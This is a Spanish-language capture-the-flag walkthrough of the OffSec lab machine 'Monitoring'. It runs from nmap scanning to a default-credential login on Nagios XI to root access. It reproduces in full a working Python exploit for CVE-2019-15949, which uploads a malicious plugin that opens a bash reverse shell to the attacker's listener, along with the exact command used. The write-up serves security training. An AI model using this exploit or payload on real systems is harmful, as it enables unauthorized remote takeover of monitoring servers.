Monitoring

✍️ Autor: OffSec 🔍 Dificultad: Fácil

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 192.168.197.136

para verificar la conectividad de red.

A continuación, se realiza el comando:

nmap 192.168.197.136

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como se puede observar durante el escaneo, los siguientes puertos se encuentran abiertos:

  • Puerto 22, correspondiente al servicio SSH.

  • Puerto 25, correspondiente al servicio SMTP.

  • Puerto 80, correspondiente al servicio HTTP.

  • Puerto 389, correspondiente al servicio LDAP.

  • Puerto 443, correspondiente al servicio HTTPS.

Dado que estos servicios están accesibles, se procederá a realizar un análisis más detallado sobre cada uno de ellos con el fin de identificar posibles vectores de ataque o configuraciones incorrectas.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,25,80,389,443 -v 192.168.197.136

para obtener más información sobre esos puertos específicamente.

Comprobamos el puerto 80.

Es una página de Nagios XI y al dar a acceder se nos muestra el panel de Login. Tras buscar las contraseñas por defecto nos logueamos (nagiosadmin:admin).

Revisando la página encontramos una versión por lo que miramos a ver si tiene un exploit.

🚀 EXPLOTACIÓN

Sí tiene exploit por lo que lo ejecutamos y así conseguimos una ejecución remota de código.

https://github.com/hadrian3689/nagiosxi_5.6.6/blob/main/exploit.py
import argparse
import re
import requests

class Nagiosxi():
    def __init__(self,target,parameter,username,password,lhost,lport):
        self.url = target
        self.parameter = parameter
        self.username = username
        self.password = password
        self.lhost = lhost
        self.lport = lport
        self.login()

    def upload(self,session):
        requests.packages.urllib3.disable_warnings()
        print("Uploading Malicious Check Ping Plugin")
        upload_url = self.url + self.parameter + "/admin/monitoringplugins.php"
        upload_token = session.get(upload_url,verify=False)
        nsp = re.findall('var nsp_str = "(.*)";',upload_token.text)
        print("Upload NSP Token: " + nsp[0])
        payload = "bash -c 'bash -i >& /dev/tcp/" + self.lhost + "/" + self.lport + " 0>&1'"
        file_data = {
                "upload":"1",
                "nsp":nsp[0],
                "MAX_FILE_SIZE":"20000000"
                }
        file_upload = {
                "uploadedfile":("check_ping",payload,"application/octet-stream",{"Content-Disposition":"form-data"})
                }
        session.post(upload_url,data=file_data,files=file_upload,verify=False)
        payload_url = self.url + self.parameter + "/includes/components/profile/profile.php?cmd=download"
        session.get(payload_url,verify=False)

    def login(self):
        requests.packages.urllib3.disable_warnings()
        print("Trying to log in")
        session = requests.Session()
        login_url = self.url + self.parameter + "/login.php"
        token = session.get(login_url,verify=False)
        nsp = re.findall('name="nsp" value="(.*)">',token.text)
        print("Login NSP Token: " + nsp[0])
        post_data = {
                "nsp":nsp[0],
                "page":"auth",
                "debug":"",
                "pageopt":"login",
                "redirect":"",
                "username":self.username,
                "password":self.password,
                "loginButton":""
        }
        login = session.post(login_url,data=post_data,verify=False)
        if "Home Dashboard" in login.text:
            print("Logged in!")
        else:
            print("Unable to login!")
        self.upload(session)

if __name__=="__main__":
    parser = argparse.ArgumentParser(description='CVE-2019–15949 Nagiosxi authenticated Remote Code Execution')
    parser.add_argument('-t', metavar='<Target base URL>', help='Example: -t http://nagios.url/', required=True)
    parser.add_argument('-b', metavar='<Base Directory>',help="Example: -b /nagiosxi/", required=True)
    parser.add_argument('-u', metavar='<Username>',help="Example: -a username", required=True)
    parser.add_argument('-p', metavar='<Password>',help="Example: -p password", required=True)
    parser.add_argument('-lh', metavar='<Listener IP>',help="Example: -lh 127.0.0.1", required=True)
    parser.add_argument('-lp', metavar='<Listener Port>',help="Example: -lp 1337", required=True)
    args = parser.parse_args()
    
    try:
        print('CVE-2019-15949 Nagiosxi authenticated Remote Code Execution')
        Nagiosxi(args.t,args.b,args.u,args.p,args.lh,args.lp)
    except KeyboardInterrupt:
        print("\nBye Bye!")
        exit()

Nos descargamos el exploit y lo ejecutamos.

python3 exploit.py -t http://192.168.197.136/ -b /nagiosxi/ -u nagiosadmin -p admin -lh 192.168.45.157-lp 4444

Mientras nos ponemos en escucha.

Hacemos el tratamiento de la TTY para trabajar más cómodos.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

y sí somos root.

Last updated

Was this helpful?